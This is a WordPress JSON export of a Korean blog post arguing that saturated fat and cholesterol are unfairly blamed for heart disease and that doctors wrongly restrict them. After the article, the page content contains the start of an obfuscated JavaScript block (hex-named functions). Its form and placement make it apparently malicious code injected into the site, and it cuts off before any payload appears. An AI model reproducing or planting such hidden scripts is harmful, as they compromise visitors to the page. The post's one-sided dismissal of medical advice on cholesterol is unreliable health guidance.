{"id":1987,"date":"2021-02-26T11:38:51","date_gmt":"2021-02-26T02:38:51","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=1987"},"modified":"2021-10-12T12:55:51","modified_gmt":"2021-10-12T03:55:51","slug":"fit-30","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/fit-30\/","title":{"rendered":"\uc9c0\ubc29, \ud3b8\uacac \uc5c6\uc774 \uc990\uaca8\uc57c \uc601\uc591\uac00 \ub192\ub2e4."},"content":{"rendered":"\n<p>\ubcf4\ud1b5 \ucf5c\ub808\uc2a4\ud2b8\ub864\uc73c\ub85c \ubd88\ub9ac\ub294 \ud615\ud0dc\uc758 \uc9c0\ubc29\uc774 \uc6b0\ub9ac\uc758 \ubab8\uc5d0 \ub098\uc058\ub2e4\ub294 \ubbff\uc74c\uc5d0 \uc2dd\ub2e8\uc5d0\uc11c \uc810\ucc28\uc801\uc73c\ub85c \uc81c\uc678\uc2dc\ud0a4\uac8c \ub418\uba74 \uc6b0\ub9ac\ub294 \ub2f9\uacfc \uc2dd\ubb3c\uc131 \uae30\ub984\uc73c\ub85c \uc774\ub97c \ub300\uccb4\ud558\ub824 \ud569\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uc774\uac83\ub4e4\uc740 \uacb0\uad6d \uc5ed\uc73c\ub85c \ube44\ub9cc , \ub2f9\ub1e8 , \uc2ec\ud608\uad00\uc9c8\ud658\uc758 \uc704\ud5d8\uc774 \ub418\uc5b4 \uc6b0\ub9ac\uc758 \uac74\uac15\uc744 \ud574\uce58\uac8c \ub418\uc8e0 . \uc774\ub7f0 \uc798\ubabb\ub41c \uc778\uc2dd\uc774 \uc2ec\uc5b4\uc9c4 \ubd80\ubd84\uc5d0 \ub300\ud574 \ud2b9\uc815\ud55c \ub204\uad70\uac00\ub97c \ube44\ub09c\ud558\ub294 \uac74\uc740 \uc774 \uc2dc\uc810\uc5d0\uc11c \uadf8\ub2e4\uc9c0 \ub3c4\uc6c0\uc774 \ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\uadf8\ub7ec\ub098 \uc5ec\uae30\uc11c \uc6b0\ub9ac\uac00 \uc9da\uace0 \ub118\uc5b4\uac00\uc57c\ud560 \uc810\uc740 \uc601\ud5a5\uacfc \uac74\uac15 \ubd84\uc57c\uc5d0 \ub300\ud55c \uc8fc\uc7a5\uc744 \ub0b4\ub193\uae30 \uc704\ud574\uc11c\ub294 \uc9c0\uc18d\uc801\uc778 \uacfc\ud559\uc801 \uc785\uc99d\uacfc \uc5f0\uad6c\uac00 \ucda9\ubd84\ud788 \uc774\ub8e8\uc5b4\uc838\uc57c \ud55c\ub2e4\ub294 \uc810\uc785\ub2c8\ub2e4 . \ub300\uc0ac &#8211; \uc2ec\uc7a5 \uac00\uc124\uc774 \uc5bc\ub9c8\ub098 \uc798\ubabb\ub41c \uc8fc\uc7a5\uc774\uba70 , \uc774\ub97c \uae30\ubc18\uc73c\ub85c \ud37c\uc9c4 \uadf8\ub987\ub41c \uc0ac\ud68c\uc801 \uc778\uc2dd\uc744 \ubc14\ub85c\uc7a1\uae30 \uc704\ud55c \ub178\ub825\ub3c4 \uacc4\uc18d\ud574\uc11c \uc774\ub8e8\uc5b4\uc838\uc57c \ud569\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>2010 \ub144 , \ucd1d 347,747 \uba85\uc744 \ub300\uc0c1\uc73c\ub85c \uc2a4\ubb3c \ud55c \ubc88\uc5d0 \uac78\uccd0 \uc774\ub8e8\uc5b4\uc9c4 \uc5b4\ub5a4 \uc5f0\uad6c\uc5d0\uc11c\ub294 , \ud3ec\ud654\uc9c0\ubc29\uc0b0\uc774 \uc2ec\uc7a5 \uc9c8\ud658 \ubc1c\ubcd1\uc728\uc744 \uc99d\uac00\uc2dc\ud0a8\ub2e4\ub294 \uadf8 \uc5b4\ub5a4 \uadfc\uac70\ub3c4 \ucc3e\uc744 \uc218 \uc5c6\uc5c8\ub2e4\uace0 \ud569\ub2c8\ub2e4 . \ub610\ud55c 2006 \ub144 \ubbf8\uad6d \uc758\ud559 \uc800\ub110 \ud611\ud68c\uc5d0 \ub4f1\ub85d\ub41c \uc5f0\uad6c \uc2e4\ud5d8\uc5d0\uc11c\ub294 48,835 \uba85\uc758 \uc5ec\uc131\uc744 \ub300\uc0c1\uc73c\ub85c \uc9c0\ubc29 \uc12d\ucde8\ub97c \ud558\ub8e8 \uce7c\ub85c\ub9ac\uc758 20% \ubbf8\ub9cc\uc73c\ub85c \uc81c\ud55c\ud558\uace0 \ub098\uba38\uc9c0\ub294 \ubaa8\ub450 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\uc5b4\ub5a4 \uc99d\uac70\ub3c4 \ucc3e\uc544\ub0bc \uc218 \uc5c6\uc5c8\uc8e0.<\/p>\n\n\n\n<p>\uc774\ubcf4\ub2e4 \uc804\uc778 1998 \ub144\ub3c4 \uc784\uc0c1 \uc9c8\ubcd1\ud559 \ud611\ud68c\uc5d0 \ub4f1\ub85d\ub41c \ub17c\ubb38\uc5d0\uc11c\ub294 35 \uac1c \uad6d\uc758 \uc778\uad6c\ub4e4\uc744 \uc120\ubcc4\ud558\uc5ec \uc9c0\ubc29\uacfc \uc2ec\ud608\uad00\uc9c8\ud658\uc758 \uc5f0\uacb0\uad00\uacc4\uc5d0 \ub300\ud55c \uc2e4\ud5d8\ub0b4\uc6a9\uc774 \ub2e4\ub8e8\uc5b4\uc9c4 \ubc14 \uc788\uc2b5\ub2c8\ub2e4 . \uc2e4\ud5d8 \uacb0\uacfc ,\uad6d\uac00\ubcc4 \ud3ec\ud654 \uc9c0\ubc29 \uc12d\ucde8\ub7c9\uacfc \uc2ec\ud608\uad00\uc9c8\ud658\uc73c\ub85c \uc778\ud55c \uc0ac\ub9dd\uc728 \uc0ac\uc774\uc758 \uc784\uc0c1\ud559\uc801 \uc5f0\uacb0 \uad00\uacc4\ub294 \uac70\uc758 \uc81c\ub85c (0) \uc5d0 \uac00\uae5d\ub2e4\uace0 \ubcfc \uc218 \uc788\ub2e4 \ub77c\ub294 \uacb0\ub860\uc774 \ub098\uc654\uc8e0 . \ub354 \ub9ce\uc740 \uc9c0\ubc29 \uc12d\ucde8\ub97c \ud558\ub294 \uad6d\uac00\uc758 \uc0ac\ub78c\ub4e4\uc774\ub77c\uace0 \ud574\uc11c \uc2ec\uc7a5 \uc9c8\ud658\uc73c\ub85c \uc8fd\uc744 \ud655\ub960\uc774 \ub354 \ub192\uc740 \uac8c \uc544\ub2c8\ub77c\ub294 \uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub7ec\ub098 \ucd5c\uadfc \ucf00\ud1a0\uc81c\ub2c9 \ub2e4\uc774\uc5b4\ud2b8 \uc5f4\ud48d\uc774 \ub2e4\uc2dc \ubd88\uae30 \uc2dc\uc791\ud558\uba74\uc11c \uc774\ub7ec\ud55c \ub0b4\uc6a9\ub4e4\uc774 \uc7ac\ud655\uc778\ub418\uae30 \uc2dc\uc791\ud588\uc8e0 . \uc5ec\ub7ec \uc784\uc0c1 \uc2e4\ud5d8\uc5d0 \uac78\uccd0 1,200 \uba85\uc758 \ucc38\uac00\uc790\ub97c \ub300\uc0c1\uc73c\ub85c \ud55c \uc5b4\ub290 \uba54\ud0c0 \ubd84\uc11d\uc5d0\uc11c\ub294 \uc800\ud0c4\uc218 \uace0\uc9c0\ubc29\uc758 \ucf00\ud1a0\uc81c\ub2c9 \ub2e4\uc774\uc5b4\ud2b8 \uc2dd\ub2e8\uc774 \uc77c\ubc18 \uc800\uc9c0\ubc29 \ub2e4\uc774\uc5b4\ud2b8\ubcf4\ub2e4 \uccb4\uc911 \uac10\ub7c9\uc5d0 \ub354 \ub192\uc740 \ud6a8\uacfc\ub97c \ubcf4\uc778\ub2e4\ub294 \uc810\uc774 \ud655\uc778\ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\ub97c \ub2e4\ub974\uac8c \ud45c\ud604\ud558\uc790\uba74 \uc9c0\ubc29\uc744 \ucda9\ubd84\ud788 \uba39\uc9c0 \uc54a\uc744 \uacbd\uc6b0 \uc624\ud788\ub824 \uc9c0\ubc29\uc774 \ubab8\uc5d0 \uc313\uc774\uac8c \ub41c\ub2e4\ub294 \uac70\uc8e0. \ubb3c\ub860 \ubc1b\uc544\ub4e4\uc774\uae30 \uc5b4\ub824\uc6b4 \uc0ac\uc2e4\uc77c\uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4 . \uadf8\ub0e5 \ub2e8\uc21c\ud788 \ubcf4\uba74 , \ubab8\uc18d\uc758 \uc9c0\ubc29\uc774 \uc0dd\uae30\ub294 \uac74 \uc9c0\ubc29\uc744 \uadf8\ub9cc\ud07c \uc12d\ucde8\ud574\uc11c\ub77c\uace0 \uc0dd\uac01\ub418\uae30 \ub9c8\ub828\uc774\ub2c8\uae4c\uc694 . \ud558\uc9c0\ub9cc \uadf8\uac74 \uc0ac\uc2e4\uacfc\ub294 \ub2e4\ub985\ub2c8\ub2e4 . \uc5ec\ub7ec\ubd84\uc5d0 \uc2dd\ub2e8\uc5d0\ub294 \uc0dd\uac01\ubcf4\ub2e4 \ub9ce\uc740 \uc9c0\ubc29\uc774 \ub4e4\uc5b4\uac00\uc57c \ud569\ub2c8\ub2e4 . \uc6b0\ub9ac\uac00 \uc9c0\uae08\uaecf \ub108\ubb34 \uac00\ud639\ud558\ub9ac\ub9cc\ud07c \uc801\ub300\uc2dc\ud574\uc628 \uadf8 \ud3ec\ud654\uc9c0\ubc29\uacfc \ucf5c\ub808\uc2a4\ud14c\ub864\uc774\ub77c\ub294 \uce5c\uad6c\ub4e4\uc744 \ub2e4\uc2dc \ubc14\ub77c\ubcf4\uc544\uc57c \ud560 \ud544\uc694\uac00 \uc0dd\uae34 \uac83\uc774\uc8e0.<\/p>\n\n\n\n<p><strong>\u25a0 \ub098\uc05c \ucf5c\ub808\uc2a4\ud14c\ub864\uacfc \uc88b\uc740 \ucf5c\ub808\uc2a4\ud14c\ub864\uc5d0 \ub300\ud55c \uc9c4\uc2e4<\/strong><\/p>\n\n\n\n<p>\ucf5c\ub808\uc2a4\ud14c\ub864\uc740 \uc6b0\ub9ac \ubab8\uc774 \uc138\ud3ec\uc640 \uc870\uc9c1\ub4e4\uc744 \uc704\ud574 \uc0ac\uc6a9\ud558\ub294 \uc9c0\ubc29\uacfc \uc720\uc0ac\ud55c \uc131\ubd84\uc785\ub2c8\ub2e4 . \ud2b9\ud788 \uc774\ub294 \ud14c\uc2a4\ud1a0\uc2a4\ud14c\ub860\uacfc \uc5d0\uc2a4\ud2b8\ub85c\uac90\uacfc \uac19\uc740 \ud638\ub974\ubaac \uc0dd\uc131\uc744 \uc704\ud574 \uc0ac\uc6a9\ub418\uae30\ub3c4 \ud558\ub294 \ub370 \uc774 \ud638\ub974\ubaac\ub4e4\uc740 \uc6b0\ub9ac \ubab8\uc758 \ud544\uc218 \uc874\uc7ac\ub77c\uace0 \ud560 \uc218 \uc788\uc8e0 . \uc774 \ud638\ub974\ubaac\ub4e4\uc740 \uac74\uac15\uc744 \uc720\uc9c0\ud574\uc8fc\uace0 \ud2b9\uc815\ud55c \uc554\uacfc \uc6b0\uc6b8\uc99d\uc73c\ub85c\ubd80\ud130 \uc2e0\uccb4\ub97c \ubcf4\ud638\ud569\ub2c8\ub2e4 . \ud558\uc9c0\ub9cc \uc774\ub7f0 \uacfc\uc815\uc774 \uc774\ub8e8\uc5b4\uc9c0\uae30 \uc704\ud574\uc120 \ucf5c\ub808\uc2a4\ud14c\ub864\uc774 \ubab8 \uc18d\uc758 \uc138\ud3ec\uce35\uc73c\ub85c \uc6b4\ubc18\uc774 \ub418\uc5b4\uc57c \ud558\uc8e0 . \uadf8\ub7ec\uae30 \uc704\ud574\uc11c\ub294 \uc774 \uc9c0\ubc29\ub2e8\ubc31\uc9c8 \uc774\ub77c\uace0 \ubd88\ub9ac\ub294 \uc131\ubd84\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc9c4 \ubcf4\ud2b8\ub97c \ud0c0\uace0 \uac00\uc57c\ud558\uc8e0 . \uadf8\ub9ac\uace0 \ubcf4\ud1b5 \uc5ec\uae30\uc11c\ubd80\ud130 \uc88b\uc740 \ucf5c\ub808\uc2a4\ud14c\ub864\uacfc \ub098\uc05c \ucf5c\ub808\uc2a4\ud14c\ub864\uc5d0 \ub300\ud55c \ud63c\ub3c8\uacfc \uc798\ubabb\ub41c \uc778\uc2dd\uc774 \uc0dd\uae30\uac8c \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc77c\ub2e8 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\uc12d\ucde8\ud574\uc8fc\uac8c \ub418\uba74 \uadf8 \uc55e\uc11c \ub9d0\ud55c \ubcf4\ud2b8\uc758 \uc0ac\uc774\uc988\ub97c \ud0a4\uc6b0\uac8c \ub418\uace0 , \uc2ec\uc9c0\uc5b4 \ub098\uc05c \ubcf4\ud2b8\ub3c4 \ud2bc\ud2bc\ud55c \ubcf4\ud2b8\ub85c \ubc14\uafb8\uc5b4 \uc900\ub2e4\uace0 \ud569\ub2c8\ub2e4 . \uadf8\ub807\uac8c \ub418\uba74 \uc6b0\ub9ac \ubab8\uc758 \ub098\uc05c \ubcf4\ud2b8\uc640 \uc88b\uc740 \ubcf4\ud2b8\uc758 \ube44\uc728\uc774 \uadf8\ub9cc\ud07c \uc548\uc815\ud654 \ub418\ub294 \uac83\uc774\uc8e0.<\/p>\n\n\n\n<p>\ud558\uc9c0\ub9cc \uc544\uc9c1\ub3c4 \ub9ce\uc740 \uc758\uc0ac\ub4e4\uc774 \uc774 \uc0ac\uc2e4\uc744 \uc798 \uc54c\uc9c0 \ubabb\ud558\uace0 \uc5ec\uc804\ud788 \ud658\uc790\ub4e4\uc5d0\uac8c \ucf5c\ub808\uc2a4\ud14c\ub864 \uc12d\ucde8\ub97c \uc904\uc774\ub77c\uba70 \uc774\uc5d0 \ub300\ud55c \uc57d\uae4c\uc9c0 \ucc98\ubc29\ud574\uc8fc\uae30\ub3c4 \ud569\ub2c8\ub2e4. \uc6b0\ub9ac \ubab8\uc740 \uc6b0\ub9ac\ubcf4\ub2e4 \ub611\ub611\ud569\ub2c8\ub2e4 . \uc6b0\ub9ac\uac00 \ub54c\ub85c \ud544\uc694 \uc774\uc0c1\uc73c\ub85c \ubb34\uc5c7\uc778\uac00\ub97c \uc12d\ucde8\ud558\uba74 \uc6b0\ub9ac \ubab8\uc740 \uc774\uc5d0 \ub9de\ub294 \uae30\ub2a5\uc744 \ub0b4\uc138\uc6cc \uacfc\uc789\uc73c\ub85c \uc12d\ucde8\ub41c \uc131\ubd84\ub4e4\uc744 \uc798 \ucc98\ub9ac\ud558\ub294 \ub2a5\ub825\uc744 \uac00\uc9c0\uace0 \uc788\uc8e0 . \uc774\uac83\uc774 \uacfc\uc5f0 \uc6b0\ub9ac\uc5d0\uac8c \ubb34\uc2a8 \uc758\ubbf8\ub97c \uac16\uac8c \ub418\ub294 \uac78\uae4c\uc694 ? \ub9de\uc2b5\ub2c8\ub2e4 . \uc774\uc81c \ub9c8\uc74c \ub193\uace0 \ub2ec\uac40 \uc624\ubbc8\ub81b\uc744 \uba54\ub274\uc5d0 \ub2e4\uc2dc \ub4e4\uc5ec\ub3c4 \uc88b\ub2e4\ub294 \ub73b\uc774\uc9c0\uc694!<\/p>\n\n\n\n<p><strong>\u25a0 ( \ub2ec\uac40 \uc678\uc5d0 ) \uc5b4\ub5a4 \uc9c0\ubc29\uc744 \uc12d\ucde8\ud574\uc57c \ud560\uae4c ?<\/strong><\/p>\n\n\n\n<p>\ubaa8\ub4e0 \uc9c0\ubc29\uc774 \uac19\uc740 \uad6c\uc131\uc73c\ub85c \uc774\ub8e8\uc5b4\uc9c4 \uac74 \uc544\ub2d9\ub2c8\ub2e4 . \ub098\uc05c \uc9c0\ubc29\uc740 \ubd84\uba85\ud788 \uc874\uc7ac\ud558\uc8e0 . \ud280\uae40\uc6a9 \uae30\ub984 , \uc815\uc81c \uc9c0\ubc29 , \ud2b8\ub79c\uc2a4\uc9c0\ubc29 \ub4f1 \ud754\ud788 \uc6b0\ub9ac\uac00 \uba39\ub294 \uac10\uc790\uce69\uc774\ub098 \ub9c8\uac00\ub9b0 \ub4f1\uc5d0 \ud568\uc720\ub418\uc5b4 \uc788\ub294 \uc9c0\ubc29\uc740 \uc6b0\ub9ac \ubab8\uc744 \ub298\uc5b4\uc9c0\uac8c \ub9cc\ub4e4\uace0 \uc5fc\uc99d\uc744 \uc77c\uc73c\ud0a4\ubbc0\ub85c \ucd5c\ub300\ud55c \uc12d\ucde8\ub97c \uc81c\ud55c\ud558\uac70\ub098 \ud53c\ud574\uc57c\ud569\ub2c8\ub2e4 . \ubc18\uba74 , \ud3ec\ud654\uc9c0\ubc29 , \ucf5c\ub808\uc2a4\ud14c\ub864 , \uc624\uba54\uac00 \ub4f1\uc758 \uc9c0\ubc29\uc740 \ub300\uccb4\ub85c \uac00\uacf5\ub418\uc9c0 \uc54a\uc740 \uc721\ub958 , \uc720\uc81c\ud488 , \uc0dd\uc120 , \ubc84\ud130 , \ub2ec\uac40 \ub178\ub978\uc790 , \uc62c\ub9ac\ube0c \uc544\ubcf4\uce74\ub3c4 , \ucf54\ucf54\ub11b , \uacac\uacfc\ub958 \ub4f1\uc5d0 \ud48d\ubd80\ud558\uba70 \uc544\uce68\uc2dd\uc0ac\uc5d0\uc11c \uc8fc\ub85c \uc12d\ucde8\ud574\uc8fc\uba74 \uc88b\uc740 \uc9c0\ubc29\ub4e4\uc774\uc8e0.<\/p>\n\n\n\n<p>\uc774\ubc88 \uc2dc\uac04\uc758 \uce7c\ub7fc\uc5d0\uc120 \uc624\ud574\uc640 \ud3b8\uacac\uc744 \ubc84\ub9ac\uace0 \uc88b\uc740 \uc9c0\ubc29\uc744 \uba39\ub294\ub2e4\uba74 \ud2c0\ub9bc\uc5c6\uc774 \ub2f9\uc2e0\uc758 \uc601\uc591\uc774 \ud55c\uacb0 \uc88b\uc544\uc9c8 \uac83\uc774\ub77c\ub294 \ub9d0\uc500 \ub4dc\ub838\uc2b5\ub2c8\ub2e4. \ub2e4\uc74c \ubc88 \uce7c\ub7fc\uc5d0\uc11c \uad6c\uccb4\uc801\uc73c\ub85c \uc6b0\ub9ac \uc77c\uc0c1\uc5d0\uc11c \ub9de\uc774\ud558\ub294 \ub9ce\uc740 \uc88b\uace0 \ub098\uc05c \uc2dd\ud488 \uac00\uc6b4\ub370 \uc591\uc9c8\uc758 \uc9c0\ubc29\uc744 \uc5bb\uc744 \uc218 \uc788\ub294 \uc74c\uc2dd\uc744 \uba87 \uac00\uc9c0 \ub2e4\ub904\ubcf4\uaca0\uc2b5\ub2c8\ub2e4.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let 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